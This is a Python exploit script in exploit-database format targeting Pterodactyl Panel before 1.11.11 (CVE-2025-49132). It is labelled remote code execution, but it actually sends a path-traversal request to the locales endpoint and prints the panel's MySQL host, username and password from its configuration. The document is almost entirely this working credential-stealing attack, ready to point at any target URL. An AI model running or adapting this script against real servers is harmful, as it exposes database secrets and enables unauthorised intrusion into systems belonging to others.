Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE)

# Exploit Title: Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE)
# Date: 22/06/2025
# Exploit Author: Zen-kun04
# Vendor Homepage: https://pterodactyl.io/
# Software Link: https://github.com/pterodactyl/panel
# Version: < 1.11.11
# Tested on: Ubuntu 22.04.5 LTS
# CVE: CVE-2025-49132


import requests
import json
import argparse
import colorama
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

arg_parser = argparse.ArgumentParser(
    description="Check if the target is vulnerable to CVE-2025-49132.")
arg_parser.add_argument("target", help="The target URL")
args = arg_parser.parse_args()

try:
    target = args.target.strip() + '/' if not args.target.strip().endswith('/') else args.target.strip()
    r = requests.get(f"{target}locales/locale.json?locale=../../../pterodactyl&namespace=config/database", allow_redirects=True, timeout=5, verify=False)
    if r.status_code == 200 and "pterodactyl" in r.text.lower():
        try:
            raw_data = r.json()
            data = {
                "success": True,
                "host": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("host", "N/A"),
                "port": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("port", "N/A"),
                "database": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("database", "N/A"),
                "username": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("username", "N/A"),
                "password": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("password", "N/A")
            }
            print(f"{colorama.Fore.LIGHTGREEN_EX}{target} => {data['username']}:{data['password']}@{data['host']}:{data['port']}/{data['database']}{colorama.Fore.RESET}")
        except json.JSONDecodeError:
            print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET)
        except TypeError:
            print(colorama.Fore.YELLOW + "Vulnerable but no database" + colorama.Fore.RESET)
    else:
        print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET)
except requests.RequestException as e:
    if "NameResolutionError" in str(e):
        print(colorama.Fore.RED + "Invalid target or unable to resolve domain" + colorama.Fore.RESET)
    else:
        print(f"{colorama.Fore.RED}Request error: {e}{colorama.Fore.RESET}")